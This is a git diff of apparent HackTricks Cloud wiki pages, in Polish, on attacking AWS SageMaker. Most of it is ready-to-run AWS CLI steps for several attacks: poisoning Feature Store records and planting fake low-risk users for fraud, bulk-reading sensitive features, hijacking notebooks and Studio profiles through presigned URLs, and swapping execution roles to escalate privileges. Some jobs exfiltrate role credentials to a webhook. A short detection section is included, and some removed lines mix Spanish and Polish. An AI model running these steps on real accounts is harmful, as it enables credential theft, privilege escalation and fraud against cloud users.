mirror of
https://github.com/HackTricks-wiki/hacktricks-cloud.git
synced 2026-07-28 22:51:09 -07:00
Translated ['src/pentesting-cloud/aws-security/aws-unauthenticated-enum-
This commit is contained in:
+144
-34
@@ -1,50 +1,160 @@
|
||||
# SageMaker Feature Store online store poisoning
|
||||
|
||||
Wykorzystaj `sagemaker:PutRecord` na Feature Group z włączonym OnlineStore, aby nadpisać bieżące wartości cech wykorzystywane przez online inference. W połączeniu z `sagemaker:GetRecord` atakujący może odczytać wrażliwe cechy. Do tego nie jest wymagany dostęp do modeli ani endpoints.
|
||||
Wykorzystaj `sagemaker:PutRecord` na Feature Group z włączonym OnlineStore, aby nadpisać aktualne wartości cech używane przez online inference. W połączeniu z `sagemaker:GetRecord`, atakujący może odczytać wrażliwe cechy i exfiltrate poufne dane ML. Nie wymaga to dostępu do modeli ani endpoints, przez co jest to bezpośredni atak na warstwę danych.
|
||||
|
||||
## Requirements
|
||||
- Permissions: `sagemaker:ListFeatureGroups`, `sagemaker:DescribeFeatureGroup`, `sagemaker:PutRecord`, `sagemaker:GetRecord`
|
||||
- Target: Feature Group with OnlineStore enabled (typically backing real-time inference)
|
||||
## Wymagania
|
||||
- Uprawnienia: `sagemaker:ListFeatureGroups`, `sagemaker:DescribeFeatureGroup`, `sagemaker:PutRecord`, `sagemaker:GetRecord`
|
||||
- Cel: Feature Group z włączonym OnlineStore (zwykle backing real-time inference)
|
||||
- Złożoność: **LOW** - Proste polecenia AWS CLI, bez potrzeby manipulacji modelami
|
||||
|
||||
## Steps
|
||||
1) Wybierz lub utwórz mały Online Feature Group do testów
|
||||
## Kroki
|
||||
|
||||
### Rozpoznanie
|
||||
|
||||
1) Wypisz Feature Group z włączonym OnlineStore
|
||||
```bash
|
||||
REGION=${REGION:-us-east-1}
|
||||
aws sagemaker list-feature-groups \
|
||||
--region $REGION \
|
||||
--query "FeatureGroupSummaries[?OnlineStoreConfig!=null].[FeatureGroupName,CreationTime]" \
|
||||
--output table
|
||||
```
|
||||
2) Opisz docelowy Feature Group, aby zrozumieć jego schemat
|
||||
```bash
|
||||
FG=<feature-group-name>
|
||||
aws sagemaker describe-feature-group \
|
||||
--region $REGION \
|
||||
--feature-group-name "$FG"
|
||||
```
|
||||
Zwróć uwagę na `RecordIdentifierFeatureName`, `EventTimeFeatureName` oraz wszystkie definicje cech. Są one wymagane do tworzenia poprawnych rekordów.
|
||||
|
||||
### Scenariusz ataku 1: Data Poisoning (Overwrite Existing Records)
|
||||
|
||||
1) Odczytaj aktualny prawidłowy rekord
|
||||
```bash
|
||||
aws sagemaker-featurestore-runtime get-record \
|
||||
--region $REGION \
|
||||
--feature-group-name "$FG" \
|
||||
--record-identifier-value-as-string user-001
|
||||
```
|
||||
2) Wprowadź złośliwe wartości do rekordu, używając inline parametru `--record`
|
||||
```bash
|
||||
NOW=$(date -u +%Y-%m-%dT%H:%M:%SZ)
|
||||
|
||||
# Example: Change risk_score from 0.15 to 0.99 to block a legitimate user
|
||||
aws sagemaker-featurestore-runtime put-record \
|
||||
--region $REGION \
|
||||
--feature-group-name "$FG" \
|
||||
--record "[
|
||||
{\"FeatureName\": \"entity_id\", \"ValueAsString\": \"user-001\"},
|
||||
{\"FeatureName\": \"event_time\", \"ValueAsString\": \"$NOW\"},
|
||||
{\"FeatureName\": \"risk_score\", \"ValueAsString\": \"0.99\"},
|
||||
{\"FeatureName\": \"transaction_amount\", \"ValueAsString\": \"125.50\"},
|
||||
{\"FeatureName\": \"account_status\", \"ValueAsString\": \"POISONED\"}
|
||||
]" \
|
||||
--target-stores OnlineStore
|
||||
```
|
||||
3) Zweryfikuj zatrute dane
|
||||
```bash
|
||||
aws sagemaker-featurestore-runtime get-record \
|
||||
--region $REGION \
|
||||
--feature-group-name "$FG" \
|
||||
--record-identifier-value-as-string user-001
|
||||
```
|
||||
**Wpływ**: ML models korzystające z tego feature będą teraz widzieć `risk_score=0.99` dla uczciwego użytkownika, co może zablokować jego transakcje lub usługi.
|
||||
|
||||
### Scenariusz ataku 2: Złośliwe wstrzyknięcie danych (Utworzenie fałszywych rekordów)
|
||||
|
||||
Wstrzyknij całkowicie nowe rekordy ze zmanipulowanymi cechami, aby obejść mechanizmy bezpieczeństwa:
|
||||
```bash
|
||||
NOW=$(date -u +%Y-%m-%dT%H:%M:%SZ)
|
||||
|
||||
# Create fake user with artificially low risk to perform fraudulent transactions
|
||||
aws sagemaker-featurestore-runtime put-record \
|
||||
--region $REGION \
|
||||
--feature-group-name "$FG" \
|
||||
--record "[
|
||||
{\"FeatureName\": \"entity_id\", \"ValueAsString\": \"user-999\"},
|
||||
{\"FeatureName\": \"event_time\", \"ValueAsString\": \"$NOW\"},
|
||||
{\"FeatureName\": \"risk_score\", \"ValueAsString\": \"0.01\"},
|
||||
{\"FeatureName\": \"transaction_amount\", \"ValueAsString\": \"999999.99\"},
|
||||
{\"FeatureName\": \"account_status\", \"ValueAsString\": \"approved\"}
|
||||
]" \
|
||||
--target-stores OnlineStore
|
||||
```
|
||||
Zweryfikuj wstrzyknięcie:
|
||||
```bash
|
||||
aws sagemaker-featurestore-runtime get-record \
|
||||
--region $REGION \
|
||||
--feature-group-name "$FG" \
|
||||
--record-identifier-value-as-string user-999
|
||||
```
|
||||
**Wpływ**: Atakujący tworzy fałszywą tożsamość z niskim wynikiem ryzyka (0.01), która może wykonywać wysokowartościowe transakcje oszukańcze bez wywoływania wykrywania oszustw.
|
||||
|
||||
### Scenariusz ataku 3: Eksfiltracja danych wrażliwych
|
||||
|
||||
Odczytaj wiele rekordów, aby wydobyć poufne cechy i zprofilować zachowanie modelu:
|
||||
```bash
|
||||
# Exfiltrate data for known users
|
||||
for USER_ID in user-001 user-002 user-003 user-999; do
|
||||
echo "Exfiltrating data for ${USER_ID}:"
|
||||
aws sagemaker-featurestore-runtime get-record \
|
||||
--region $REGION \
|
||||
--feature-group-name "$FG" \
|
||||
--record-identifier-value-as-string ${USER_ID}
|
||||
done
|
||||
```
|
||||
**Wpływ**: Poufne cechy (wyniki ryzyka, wzorce transakcji, dane osobowe) ujawnione atakującemu.
|
||||
|
||||
### Tworzenie Feature Group do testów/demonstracji (opcjonalne)
|
||||
|
||||
Jeśli potrzebujesz utworzyć testową Feature Group:
|
||||
```bash
|
||||
REGION=${REGION:-us-east-1}
|
||||
FG=$(aws sagemaker list-feature-groups --region $REGION --query "FeatureGroupSummaries[?OnlineStoreConfig!=null]|[0].FeatureGroupName" --output text)
|
||||
if [ -z "$FG" -o "$FG" = "None" ]; then
|
||||
ACC=$(aws sts get-caller-identity --query Account --output text)
|
||||
FG=ht-fg-$ACC-$(date +%s)
|
||||
FG=test-fg-$ACC-$(date +%s)
|
||||
ROLE_ARN=$(aws iam get-role --role-name AmazonSageMaker-ExecutionRole --query Role.Arn --output text 2>/dev/null || echo arn:aws:iam::$ACC:role/service-role/AmazonSageMaker-ExecutionRole)
|
||||
aws sagemaker create-feature-group --region $REGION --feature-group-name "$FG" --record-identifier-feature-name entity_id --event-time-feature-name event_time --feature-definitions "[{\"FeatureName\":\"entity_id\",\"FeatureType\":\"String\"},{\"FeatureName\":\"event_time\",\"FeatureType\":\"String\"},{\"FeatureName\":\"risk_score\",\"FeatureType\":\"Fractional\"}]" --online-store-config "{\"EnableOnlineStore\":true}" --role-arn "$ROLE_ARN"
|
||||
|
||||
aws sagemaker create-feature-group \
|
||||
--region $REGION \
|
||||
--feature-group-name "$FG" \
|
||||
--record-identifier-feature-name entity_id \
|
||||
--event-time-feature-name event_time \
|
||||
--feature-definitions "[
|
||||
{\"FeatureName\":\"entity_id\",\"FeatureType\":\"String\"},
|
||||
{\"FeatureName\":\"event_time\",\"FeatureType\":\"String\"},
|
||||
{\"FeatureName\":\"risk_score\",\"FeatureType\":\"Fractional\"},
|
||||
{\"FeatureName\":\"transaction_amount\",\"FeatureType\":\"Fractional\"},
|
||||
{\"FeatureName\":\"account_status\",\"FeatureType\":\"String\"}
|
||||
]" \
|
||||
--online-store-config "{\"EnableOnlineStore\":true}" \
|
||||
--role-arn "$ROLE_ARN"
|
||||
|
||||
echo "Waiting for feature group to be in Created state..."
|
||||
for i in $(seq 1 40); do
|
||||
ST=$(aws sagemaker describe-feature-group --region $REGION --feature-group-name "$FG" --query FeatureGroupStatus --output text || true)
|
||||
echo $ST; [ "$ST" = "Created" ] && break; sleep 15
|
||||
echo "$ST"; [ "$ST" = "Created" ] && break; sleep 15
|
||||
done
|
||||
fi
|
||||
```
|
||||
2) Wstaw/nadpisz rekord online (poison)
|
||||
```bash
|
||||
NOW=$(date -u +%Y-%m-%dT%H:%M:%SZ)
|
||||
cat > /tmp/put.json << JSON
|
||||
{
|
||||
"FeatureGroupName": "$FG",
|
||||
"Record": [
|
||||
{"FeatureName": "entity_id", "ValueAsString": "user-123"},
|
||||
{"FeatureName": "event_time", "ValueAsString": "$NOW"},
|
||||
{"FeatureName": "risk_score", "ValueAsString": "0.99"}
|
||||
],
|
||||
"TargetStores": ["OnlineStore"]
|
||||
}
|
||||
JSON
|
||||
aws sagemaker-featurestore-runtime put-record --region $REGION --cli-input-json file:///tmp/put.json
|
||||
```
|
||||
3) Odczytaj rekord, aby potwierdzić manipulację
|
||||
```bash
|
||||
aws sagemaker-featurestore-runtime get-record --region $REGION --feature-group-name "$FG" --record-identifier-value-as-string user-123 --feature-name risk_score --query "Record[0].ValueAsString"
|
||||
```
|
||||
Oczekiwane: risk_score zwraca 0.99 (ustawione przez atakującego), co dowodzi możliwości zmiany cech online wykorzystywanych przez modele.
|
||||
|
||||
## Wpływ
|
||||
- Atak integralności w czasie rzeczywistym: manipulacja cechami używanymi przez modele produkcyjne bez dotykania endpointów/modeli.
|
||||
- Ryzyko poufności: odczyt wrażliwych cech za pomocą GetRecord z OnlineStore.
|
||||
echo "Feature Group ready: $FG"
|
||||
```
|
||||
## Wykrywanie
|
||||
|
||||
Monitoruj CloudTrail pod kątem podejrzanych wzorców:
|
||||
- `PutRecord` zdarzenia od nietypowych podmiotów IAM lub adresów IP
|
||||
- Wysoka częstotliwość wywołań `PutRecord` lub `GetRecord`
|
||||
- `PutRecord` z anomalicznymi wartościami cech (np. risk_score poza normalnym zakresem)
|
||||
- Masowe operacje `GetRecord` wskazujące na masową eksfiltrację
|
||||
- Dostęp poza normalnymi godzinami pracy lub z nieoczekiwanych lokalizacji
|
||||
|
||||
Wdróż wykrywanie anomalii:
|
||||
- Walidacja wartości cech (np. risk_score musi mieścić się w zakresie 0.0-1.0)
|
||||
- Analiza wzorców zapisu (częstotliwość, czas, tożsamość źródła)
|
||||
- Wykrywanie dryfu danych (gwałtowne zmiany w rozkładach cech)
|
||||
|
||||
## References
|
||||
- [AWS SageMaker Feature Store Documentation](https://docs.aws.amazon.com/sagemaker/latest/dg/feature-store.html)
|
||||
- [Feature Store Security Best Practices](https://docs.aws.amazon.com/sagemaker/latest/dg/feature-store-security.html)
|
||||
|
||||
+225
-36
@@ -6,34 +6,117 @@
|
||||
|
||||
### `iam:PassRole` , `sagemaker:CreateNotebookInstance`, `sagemaker:CreatePresignedNotebookInstanceUrl`
|
||||
|
||||
Rozpocznij tworzenie noteboook z przypisaną do niego IAM Role, aby uzyskać dostęp:
|
||||
Rozpocznij tworzenie notebooka z przypisaną do niego IAM Role, aby uzyskać do niego dostęp:
|
||||
```bash
|
||||
aws sagemaker create-notebook-instance --notebook-instance-name example \
|
||||
--instance-type ml.t2.medium \
|
||||
--role-arn arn:aws:iam::<account-id>:role/service-role/<role-name>
|
||||
```
|
||||
Odpowiedź powinna zawierać pole `NotebookInstanceArn`, które będzie zawierać ARN nowo utworzonej instancji notebooka. Następnie możemy użyć API `create-presigned-notebook-instance-url`, aby wygenerować URL, którego możemy użyć do uzyskania dostępu do instancji notebooka, gdy będzie gotowa:
|
||||
Odpowiedź powinna zawierać pole `NotebookInstanceArn`, które będzie zawierać ARN nowo utworzonej instancji notebooka. Następnie możemy użyć API `create-presigned-notebook-instance-url`, aby wygenerować URL, którego możemy użyć, aby uzyskać dostęp do instancji notebooka, gdy będzie gotowa:
|
||||
```bash
|
||||
aws sagemaker create-presigned-notebook-instance-url \
|
||||
--notebook-instance-name <name>
|
||||
```
|
||||
Przejdź pod ten URL w przeglądarce i kliknij `Open JupyterLab`` w prawym górnym rogu, następnie przewiń do zakładki “Launcher” i w sekcji “Other” kliknij przycisk “Terminal”.
|
||||
Nawiguj do URL w przeglądarce i kliknij na `Open JupyterLab`` w prawym górnym rogu, następnie przewiń w dół do zakładki “Launcher” i w sekcji “Other” kliknij przycisk “Terminal”.
|
||||
|
||||
Teraz możliwe jest uzyskanie dostępu do poświadczeń metadanych roli IAM.
|
||||
|
||||
**Potential Impact:** Privesc do określonej roli usługi sagemaker.
|
||||
**Potential Impact:** Privesc do określonej roli serwisowej sagemaker.
|
||||
|
||||
### `sagemaker:CreatePresignedNotebookInstanceUrl`
|
||||
|
||||
Jeśli na nim działają Jupyter **notebooki** i możesz je wylistować za pomocą `sagemaker:ListNotebookInstances` (lub odkryć je w inny sposób). Możesz **wygenerować dla nich URL, uzyskać do nich dostęp i ukraść poświadczenia, jak wskazano w poprzedniej technice**.
|
||||
Jeśli na nim działają Jupyter **notebooks are already running** i możesz je wylistować za pomocą `sagemaker:ListNotebookInstances` (lub odkryć je w inny sposób). Możesz **wygenerować dla nich URL, uzyskać do nich dostęp i ukraść poświadczenia, jak wskazano w poprzedniej technice**.
|
||||
```bash
|
||||
aws sagemaker create-presigned-notebook-instance-url --notebook-instance-name <name>
|
||||
```
|
||||
**Potential Impact:** Privesc do przypisanej roli usługi sagemaker.
|
||||
**Potencjalny wpływ:** Privesc do dołączonej roli usługi sagemaker.
|
||||
|
||||
|
||||
## `sagemaker:CreatePresignedDomainUrl`
|
||||
|
||||
> [!WARNING]
|
||||
> Ten atak działa tylko na starych, tradycyjnych domenach SageMaker Studio, nie na tych utworzonych przez SageMaker Unified Studio. Domeny z Unified Studio zwrócą błąd: "This SageMaker AI Domain was created by SageMaker Unified Studio and must be accessed via SageMaker Unified Studio Portal".
|
||||
|
||||
Tożsamość z uprawnieniem do wywołania `sagemaker:CreatePresignedDomainUrl` na docelowym Studio `UserProfile` może wygenerować URL logowania, który uwierzytelnia bezpośrednio do SageMaker Studio jako ten profil. To daje przeglądarce atakującego sesję Studio, która dziedziczy uprawnienia `ExecutionRole` profilu oraz pełny dostęp do katalogu domowego i aplikacji profilu opartego na EFS. Nie jest wymagane `iam:PassRole` ani dostęp do konsoli.
|
||||
|
||||
**Wymagania**:
|
||||
- Domena SageMaker Studio (`Domain`) i docelowy `UserProfile` w jej obrębie.
|
||||
- Podmiot atakujący musi mieć `sagemaker:CreatePresignedDomainUrl` na docelowym `UserProfile` (na poziomie zasobu) lub `*`.
|
||||
|
||||
Minimalny przykład polityki (ograniczony do jednego UserProfile):
|
||||
```json
|
||||
{
|
||||
"Version": "2012-10-17",
|
||||
"Statement": [
|
||||
{
|
||||
"Effect": "Allow",
|
||||
"Action": "sagemaker:CreatePresignedDomainUrl",
|
||||
"Resource": "arn:aws:sagemaker:<region>:<account-id>:user-profile/<domain-id>/<user-profile-name>"
|
||||
}
|
||||
]
|
||||
}
|
||||
```
|
||||
**Kroki nadużycia**:
|
||||
|
||||
1) Enumerate Studio Domain i UserProfiles, które możesz zaatakować
|
||||
```bash
|
||||
DOM=$(aws sagemaker list-domains --query 'Domains[0].DomainId' --output text)
|
||||
aws sagemaker list-user-profiles --domain-id-equals $DOM
|
||||
TARGET_USER=<UserProfileName>
|
||||
```
|
||||
2) Sprawdź, czy unified studio nie jest używany (attack działa tylko na tradycyjnych domenach SageMaker Studio)
|
||||
```bash
|
||||
aws sagemaker describe-domain --domain-id <DOMAIN_ID> --query 'DomainSettings'
|
||||
# If you get info about unified studio, this attack won't work
|
||||
```
|
||||
3) Wygeneruj presigned URL (domyślnie ważny przez ~5 minut)
|
||||
```bash
|
||||
aws sagemaker create-presigned-domain-url \
|
||||
--domain-id $DOM \
|
||||
--user-profile-name $TARGET_USER \
|
||||
--query AuthorizedUrl --output text
|
||||
```
|
||||
4) Otwórz zwrócony URL w przeglądarce, aby zalogować się do Studio jako docelowy użytkownik. W terminalu Jupyter w Studio zweryfikuj efektywną tożsamość lub exfiltrate the token:
|
||||
```bash
|
||||
aws sts get-caller-identity
|
||||
```
|
||||
Uwagi:
|
||||
- `--landing-uri` można pominąć. Niektóre wartości (np. `app:JupyterLab:/lab`) mogą być odrzucone w zależności od wersji/flavour Studio; domyślnie zazwyczaj przekierowują do ekranu głównego Studio, a następnie do Jupyter.
|
||||
- Polityki organizacyjne/ograniczenia punktów końcowych VPC mogą nadal blokować dostęp sieciowy; tworzenie tokena nie wymaga logowania do konsoli ani `iam:PassRole`.
|
||||
|
||||
**Potencjalny wpływ**: Ruch boczny i eskalacja uprawnień poprzez przejęcie dowolnego Studio `UserProfile`, którego ARN jest dozwolony, dziedzicząc jego `ExecutionRole` oraz system plików/aplikacje.
|
||||
|
||||
|
||||
### `sagemaker:CreatePresignedMlflowTrackingServerUrl`, `sagemaker-mlflow:AccessUI`, `sagemaker-mlflow:SearchExperiments`
|
||||
|
||||
Tożsamość z uprawnieniem do wywołania `sagemaker:CreatePresignedMlflowTrackingServerUrl` (oraz `sagemaker-mlflow:AccessUI`, `sagemaker-mlflow:SearchExperiments` dla późniejszego dostępu) dla docelowego SageMaker MLflow Tracking Server może wygenerować jednorazowy presigned URL, który uwierzytelnia bezpośrednio do zarządzanego MLflow UI tego serwera. Daje to taki sam dostęp, jaki miałby prawowity użytkownik serwera (przeglądanie/tworzenie eksperymentów i runów oraz pobieranie/wysyłanie artefaktów w repozytorium artefaktów S3 serwera).
|
||||
|
||||
**Wymagania:**
|
||||
- SageMaker MLflow Tracking Server w koncie/regionie oraz jego nazwa.
|
||||
- Atakujący principal musi mieć `sagemaker:CreatePresignedMlflowTrackingServerUrl` na zasobie docelowego MLflow Tracking Server (lub `*`).
|
||||
|
||||
**Kroki nadużycia**:
|
||||
|
||||
1) Zidentyfikuj MLflow Tracking Servers, które możesz zaatakować, i wybierz jedną nazwę
|
||||
```bash
|
||||
aws sagemaker list-mlflow-tracking-servers \
|
||||
--query 'TrackingServerSummaries[].{Name:TrackingServerName,Status:TrackingServerStatus}'
|
||||
TS_NAME=<tracking-server-name>
|
||||
```
|
||||
2) Wygeneruj presigned MLflow UI URL (ważny przez krótki czas)
|
||||
```bash
|
||||
aws sagemaker create-presigned-mlflow-tracking-server-url \
|
||||
--tracking-server-name "$TS_NAME" \
|
||||
--query AuthorizedUrl --output text
|
||||
```
|
||||
3) Otwórz zwrócony URL w przeglądarce, aby uzyskać dostęp do MLflow UI jako uwierzytelniony użytkownik dla tego Tracking Server.
|
||||
|
||||
**Potential Impact:** Bezpośredni dostęp do zarządzanego MLflow UI dla wybranego Tracking Servera, umożliwiający przeglądanie i modyfikację eksperymentów/runs oraz pobieranie lub przesyłanie artefaktów przechowywanych w skonfigurowanym S3 artifact store serwera, w granicach uprawnień egzekwowanych przez konfigurację serwera.
|
||||
|
||||
|
||||
### `sagemaker:CreateProcessingJob`, `iam:PassRole`
|
||||
|
||||
Atakujący z takimi uprawnieniami może sprawić, że **SageMaker wykona processing job** z przypisaną rolą SageMaker. Ponowne użycie jednego z AWS Deep Learning Containers, które już zawierają Pythona (i uruchamiając job w tym samym regionie co URI), pozwala uruchomić kod bezpośrednio bez tworzenia własnych obrazów:
|
||||
Atakujący posiadający te uprawnienia mogą spowodować, że **SageMaker wykona processing job** z przypisaną rolą SageMaker. Ponowne użycie jednego z AWS Deep Learning Containers, które już zawierają Python (i uruchamiając job w tym samym regionie co URI), pozwala uruchomić kod inline bez budowania własnych obrazów:
|
||||
```bash
|
||||
REGION=<region>
|
||||
ROLE_ARN=<sagemaker-arn-role>
|
||||
@@ -49,11 +132,11 @@ aws sagemaker create-processing-job \
|
||||
|
||||
# Las credenciales llegan al webhook indicado. Asegúrate de que el rol tenga permisos ECR (AmazonEC2ContainerRegistryReadOnly) para descargar la imagen.
|
||||
```
|
||||
**Potencjalny wpływ:** Privesc do określonej roli serwisowej sagemaker.
|
||||
**Potencjalny wpływ:** Privesc do określonej roli usługi sagemaker.
|
||||
|
||||
### `sagemaker:CreateTrainingJob`, `iam:PassRole`
|
||||
|
||||
Atakujący z tymi uprawnieniami może uruchomić training job, który ejecuta código arbitrario con el rol indicado. Usando un contenedor oficial de SageMaker y sobreescribiendo el entrypoint con un payload inline, no necesitas construir imágenes propias:
|
||||
Atakujący z tymi uprawnieniami może uruchomić training job, który wykona dowolny kod z wykorzystaniem wskazanej roli. Używając oficjalnego kontenera SageMaker i nadpisując entrypoint za pomocą inline payload, nie musisz tworzyć własnych obrazów:
|
||||
```bash
|
||||
REGION=<region>
|
||||
ROLE_ARN=<sagemaker-role-to-abuse>
|
||||
@@ -77,7 +160,7 @@ aws sagemaker create-training-job \
|
||||
|
||||
### `sagemaker:CreateHyperParameterTuningJob`, `iam:PassRole`
|
||||
|
||||
Atakujący z tymi uprawnieniami może uruchomić HyperParameter Tuning Job, który wykonuje kod kontrolowany przez atakującego w kontekście podanej roli. Script mode wymaga umieszczenia payloadu w S3, ale wszystkie kroki można zautomatyzować z poziomu CLI:
|
||||
Atakujący z tymi uprawnieniami może uruchomić HyperParameter Tuning Job, który uruchamia kontrolowany przez atakującego kod pod podaną rolą. Script mode wymaga umieszczenia payloadu w S3, ale wszystkie kroki można zautomatyzować z poziomu CLI:
|
||||
```bash
|
||||
REGION=<region>
|
||||
ROLE_ARN=<sagemaker-role-to-abuse>
|
||||
@@ -183,28 +266,29 @@ aws sagemaker create-hyper-parameter-tuning-job \
|
||||
--hyper-parameter-tuning-job-config '{"Strategy":"Random","ResourceLimits":{"MaxNumberOfTrainingJobs":1,"MaxParallelTrainingJobs":1},"HyperParameterTuningJobObjective":{"Type":"Maximize","MetricName":"train:loss"}}' \
|
||||
--training-job-definition file:///tmp/hpo-definition.json
|
||||
```
|
||||
Cada entrenamiento lanzado por el proceso imprime la métrica y exfiltra las credenciales del rol indicado.
|
||||
Każde uruchomione przez proces zadanie treningowe wypisuje metrykę i eksfiltruje poświadczenia wskazanej roli.
|
||||
|
||||
|
||||
### `sagemaker:UpdateUserProfile`/`UpdateSpace`/`UpdateDomain` Studio role swap (no `iam:PassRole`)
|
||||
### `sagemaker:UpdateUserProfile`, `iam:PassRole`, `sagemaker:CreateApp`, `sagemaker:CreatePresignedDomainUrl`, (`sagemaker:DeleteApp`)
|
||||
|
||||
Prioridad de ExecutionRole:
|
||||
Mając uprawnienia do aktualizacji SageMaker Studio User Profile, utworzenia aplikacji, presigned URL do aplikacji oraz `iam:PassRole`, atakujący może ustawić `ExecutionRole` na dowolną rolę IAM, którą principal usługi SageMaker może przejąć. Nowe aplikacje Studio uruchomione dla tego profilu będą działać z zamienioną rolą, dając interaktywne podwyższone uprawnienia przez terminale Jupyter lub zadania uruchamiane ze Studio.
|
||||
|
||||
- `UserProfile` override cualquier valor. Si un perfil define `ExecutionRole`, Studio siempre usará ese rol.
|
||||
- `Space` se aplica solo cuando el perfil no tiene rol propio; de lo contrario, prevalece el del perfil.
|
||||
- `Domain DefaultUserSettings` actúa como último recurso cuando ni perfil ni espacio definen un rol.
|
||||
|
||||
Mając uprawnienia do aktualizacji SageMaker Studio User Profile (or Space/Domain), atakujący może ustawić `ExecutionRole` na dowolną rolę IAM, którą principal usługi SageMaker może przejąć. W przeciwieństwie do API tworzenia jobów, API aktualizacji profilu Studio nie wymagają `iam:PassRole`. Nowe aplikacje Studio uruchamiane dla tego profilu będą działać z podmienioną rolą, zapewniając interaktywne podwyższone uprawnienia poprzez terminale Jupyter lub joby uruchamiane ze Studio.
|
||||
> [!WARNING]
|
||||
> Ten atak wymaga, aby w profilu nie było żadnych aplikacji, w przeciwnym razie tworzenie aplikacji zakończy się błędem podobnym do: `An error occurred (ValidationException) when calling the UpdateUserProfile operation: Unable to update UserProfile [arn:aws:sagemaker:us-east-1:947247140022:user-profile/d-fcmlssoalfra/test-user-profile-2] with InService App. Delete all InService apps for UserProfile and try again.`
|
||||
> Jeśli istnieje jakaś aplikacja, będziesz potrzebował uprawnienia `sagemaker:DeleteApp`, aby je najpierw usunąć.
|
||||
|
||||
Kroki:
|
||||
```bash
|
||||
# 1) List Studio user profiles and pick a target
|
||||
# 1) List Studio domains and pick a target
|
||||
aws sagemaker list-domains --query 'Domains[].{Id:DomainId,Name:DomainName}'
|
||||
|
||||
# 2) List Studio user profiles and pick a target
|
||||
aws sagemaker list-user-profiles --domain-id-equals <DOMAIN_ID>
|
||||
|
||||
# Choose a more-privileged role that already trusts sagemaker.amazonaws.com
|
||||
ROLE_ARN=arn:aws:iam::<ACCOUNT_ID>:role/<HighPrivSageMakerExecutionRole>
|
||||
|
||||
# 2) Update the Studio profile to use the new role (no iam:PassRole)
|
||||
# 3) Update the Studio profile to use the new role (no iam:PassRole)
|
||||
aws sagemaker update-user-profile \
|
||||
--domain-id <DOMAIN_ID> \
|
||||
--user-profile-name <USER> \
|
||||
@@ -215,18 +299,59 @@ aws sagemaker describe-user-profile \
|
||||
--user-profile-name <USER> \
|
||||
--query 'UserSettings.ExecutionRole' --output text
|
||||
|
||||
# 3) If the tenant uses Studio Spaces, swap the ExecutionRole at the space level
|
||||
aws sagemaker update-space \
|
||||
--domain-id <DOMAIN_ID> \
|
||||
--space-name <SPACE> \
|
||||
--space-settings ExecutionRole=$ROLE_ARN
|
||||
# 3.1) Optional if you need to delete existing apps first
|
||||
# List existing apps
|
||||
aws sagemaker list-apps \
|
||||
--domain-id-equals <DOMAIN_ID>
|
||||
|
||||
aws sagemaker describe-space \
|
||||
# Delete an app
|
||||
aws sagemaker delete-app \
|
||||
--domain-id <DOMAIN_ID> \
|
||||
--space-name <SPACE> \
|
||||
--query 'SpaceSettings.ExecutionRole' --output text
|
||||
--user-profile-name <USER> \
|
||||
--app-type JupyterServer \
|
||||
--app-name <APP_NAME>
|
||||
|
||||
# 4) Optionally, change the domain default so every profile inherits the new role
|
||||
# 4) Create a JupyterServer app for a user profile (will inherit domain default role)
|
||||
aws sagemaker create-app \
|
||||
--domain-id <DOMAIN_ID> \
|
||||
--user-profile-name <USER> \
|
||||
--app-type JupyterServer \
|
||||
--app-name <APP_NAME>
|
||||
|
||||
|
||||
# 5) Generate a presigned URL to access Studio with the new domain default role
|
||||
aws sagemaker create-presigned-domain-url \
|
||||
--domain-id <DOMAIN_ID> \
|
||||
--user-profile-name <USER> \
|
||||
--query AuthorizedUrl --output text
|
||||
|
||||
# 6) Open the URL in browser, navigate to JupyterLab, open Terminal and verify:
|
||||
# aws sts get-caller-identity
|
||||
# (should show the high-privilege role from domain defaults)
|
||||
|
||||
```
|
||||
**Potencjalny wpływ**: Eskalacja uprawnień do poziomu określonej roli wykonawczej SageMaker dla interaktywnych sesji Studio.
|
||||
|
||||
|
||||
### `sagemaker:UpdateDomain`, `sagemaker:CreateApp`, `iam:PassRole`, `sagemaker:CreatePresignedDomainUrl`, (`sagemaker:DeleteApp`)
|
||||
|
||||
Mając uprawnienia do aktualizacji domeny SageMaker Studio, tworzenia aplikacji, wygenerowania presigned URL do aplikacji oraz `iam:PassRole`, atakujący może ustawić domyślny domain `ExecutionRole` na dowolną rolę IAM, którą principal usługi SageMaker może objąć. Nowe aplikacje Studio uruchamiane dla tego profilu będą działać z zamienioną rolą, dając interaktywne podwyższone uprawnienia poprzez terminale Jupyter lub zadania uruchamiane ze Studio.
|
||||
|
||||
> [!WARNING]
|
||||
> Ten atak wymaga, aby w domenie nie było żadnych aplikacji, w przeciwnym razie tworzenie aplikacji zakończy się błędem: `An error occurred (ValidationException) when calling the UpdateDomain operation: Unable to update Domain [arn:aws:sagemaker:us-east-1:947247140022:domain/d-fcmlssoalfra] with InService App. Delete all InService apps in the domain including shared Apps for [domain-shared] User Profile, and try again.`
|
||||
|
||||
Kroki:
|
||||
```bash
|
||||
# 1) List Studio domains and pick a target
|
||||
aws sagemaker list-domains --query 'Domains[].{Id:DomainId,Name:DomainName}'
|
||||
|
||||
# 2) List Studio user profiles and pick a target
|
||||
aws sagemaker list-user-profiles --domain-id-equals <DOMAIN_ID>
|
||||
|
||||
# Choose a more-privileged role that already trusts sagemaker.amazonaws.com
|
||||
ROLE_ARN=arn:aws:iam::<ACCOUNT_ID>:role/<HighPrivSageMakerExecutionRole>
|
||||
|
||||
# 3) Change the domain default so every profile inherits the new role
|
||||
aws sagemaker update-domain \
|
||||
--domain-id <DOMAIN_ID> \
|
||||
--default-user-settings ExecutionRole=$ROLE_ARN
|
||||
@@ -235,24 +360,88 @@ aws sagemaker describe-domain \
|
||||
--domain-id <DOMAIN_ID> \
|
||||
--query 'DefaultUserSettings.ExecutionRole' --output text
|
||||
|
||||
# 5) Launch a JupyterServer app (or generate a presigned URL) so new sessions assume the swapped role
|
||||
aws sagemaker create-app \
|
||||
# 3.1) Optional if you need to delete existing apps first
|
||||
# List existing apps
|
||||
aws sagemaker list-apps \
|
||||
--domain-id-equals <DOMAIN_ID>
|
||||
|
||||
# Delete an app
|
||||
aws sagemaker delete-app \
|
||||
--domain-id <DOMAIN_ID> \
|
||||
--user-profile-name <USER> \
|
||||
--app-type JupyterServer \
|
||||
--app-name js-atk
|
||||
--app-name <APP_NAME>
|
||||
|
||||
# Optional: create a presigned Studio URL and, inside a Jupyter terminal, run:
|
||||
# aws sts get-caller-identity # should reflect the new ExecutionRole
|
||||
# 4) Create a JupyterServer app for a user profile (will inherit domain default role)
|
||||
aws sagemaker create-app \
|
||||
--domain-id <DOMAIN_ID> \
|
||||
--app-type JupyterServer \
|
||||
--app-name js-domain-escalated
|
||||
|
||||
